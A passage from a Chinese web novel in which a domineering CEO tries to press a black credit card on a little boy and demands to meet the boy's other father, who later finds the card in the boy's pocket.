钟忘熵重重地叹了口气:“爸爸之前答应过你,会为你研制快速生长的药物,这些日子爸爸一直也在催公司的研发部门,可惜效果甚微,他们说,要研发出来,可能得有四五十年了。” 江小鱼听见这话,仿佛遭受了重大打击:“那怎么办?” 钟忘熵无可奈何:“你只能慢慢长大。” 江小鱼噘嘴:“可是我好想快点长大。” 钟忘熵:“你为什么想长大?” 江小鱼掷地有声:“保护我想保护的人。” “谁?”这已经是钟忘熵第二次从江小鱼口中听到类似的话了,他磨牙,谁在江小鱼心里这么重要? 江小鱼小声告诉他:“我另一个爸爸。” 呵,原来是江小鱼的第三个爸爸。 钟忘熵冷笑一声,掏出早已准备好的黑卡,塞进江小鱼的小口袋里:“这张卡给你,去把你另一个爸爸给我叫过来。” 他倒要看看,江小鱼爸爸是个什么样的人,能把江小鱼迷得神魂颠倒的! 20. 第 20 章 江小鱼闻言,立马把黑卡拿出来还给钟忘熵,同时警惕地问道:“你想干什么?” 钟忘熵不屑又冷酷地哼了一声,这世界上拒绝他的人没有几个:“给你你就拿着。” 江小鱼护住自己的口袋,不让钟忘熵有一丝一毫的机会给他塞黑卡。 钟忘熵目光不善地看着江小鱼,江小鱼同样眼神坚定地看着钟忘熵。 许久后,钟忘熵败下阵来。 他修长的手指夹着黑卡,语气里带着傲慢:“你知道这张卡能把什么买下来吗?” 江小鱼摇了摇头。 钟忘熵思索片刻,想出一个小孩能接受的说辞来:“能把整个幼儿园买下来,买十个。” 江小鱼惊讶地张大了嘴巴。 钟忘熵得意地看着他:“现在可以收了吧?” 江小鱼手刚要碰到那张黑卡,突然想起钟忘熵的要求,又急忙收回手来:“我不能收。” 钟忘熵眯眼:“为什么?” “我不会让你见我另一个爸爸的!”江小鱼斩钉截铁地道。 还是为了他那个爸爸。 钟忘熵的不满达到顶点,他动作优雅地起身,拍了拍身上不存在的尘土,居高临下地看着江小鱼:“你应该不想我做什么过分的事情吧?” 江小鱼急了:“你……你想干什么?” 钟忘熵转身,脚踩在茶几上,霸气宣言:“总有一日,我会把你抢过来的!” 江小鱼等了片刻,就听到了这么中二的话,没忍住问:“就这?” 钟忘熵扭头:“那是你还没有见识到我的可怕!” 江小鱼小心问:“你会做很多可怕的事情吗,爸爸?” 因为这一声“爸爸”,钟忘熵莫名地心软了,他思索片刻:“应该……也不会做太过分的事情。” 江小鱼松了口气。 钟忘熵:“但是你只能有我一个爸爸!” 江小鱼:“不行的!” 钟忘熵:“行的!” 江小鱼:“不可以!” 钟忘熵:“可以!” 江小鱼:“……” 钟忘熵:“……” 两个人复读机般地在这重复,最后江小鱼抱胸:“人怎么可以只有一个爸爸呢?” 钟忘熵大发慈悲告诉他:“你可以有两个爸爸。” 江小鱼闻言抬头。 钟忘熵:“我和舒淮。” “好的。”江小鱼爽快地答应。 钟忘熵满意地点了点头,没多久又意识到不对:“口头上答应不算的,你先把你另一个爸爸给我叫过来,我看看他长什么样。” 江小鱼上前两步,拽着钟忘熵的裤脚:“别了吧……” 钟忘熵:“我想见的人,还没有见不到的。” 江小鱼:“你又想干什么?” 钟忘熵又重新蹲下身,掐了掐江小鱼的脸蛋:“把你买了。” 江小鱼无语片刻:“买卖小孩是犯法的!”连他都知道的道理,钟忘熵竟然不知道。 钟忘熵并不在意:“那就让你爸爸心甘情愿的把你送给我。” 江小鱼:“不会的!” 钟忘熵磨牙,似乎在憋什么大招。 江小鱼觉得,这个爸爸真的很难搞,他决定先发制人。 回想自己平时哄爸爸的样子,江小鱼搂住了钟忘熵的脖子,撒娇问道:“我保证我只有两个爸爸,你就别干别的了,我们现在这样挺好的,我有时间了,肯定多多陪着你的,好不好,爸爸?” 说完,亲了钟忘熵一口。 钟忘熵整个人僵在原地,摸了摸侧脸,想起当年,同样有人搂着他的脖子跟他说:“你会尊重我的,对吧?” 钟忘熵低头看了眼江小鱼的小脸蛋,眸中情绪暗涌,这小东西, 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江舒淮揉了揉江小鱼的头发:“好,咱们回家。” 钟忘熵是听到放学铃声后,慢条斯理地起身,出来,然后就找不到江小鱼了。 助理见状,体贴的问:“钟总,我去派人查一下江小鱼?” 钟忘熵眸色暗沉:“不用,我尊重他。” 助理都怀疑自己听错了,甚至怀疑钟总是不是被人魂穿了,但最后也只应了一声。 到了家里,江舒淮给江小鱼换上睡衣,陪他玩了一会,又给他打开幼儿频道。 江舒淮拿着江小鱼换下来的衣服,走进卫生间,他习惯性摸了摸江小鱼的口袋,却摸到一个硬硬的卡片类东西。 江舒淮拿出来,眉头微皱。 这是黑卡?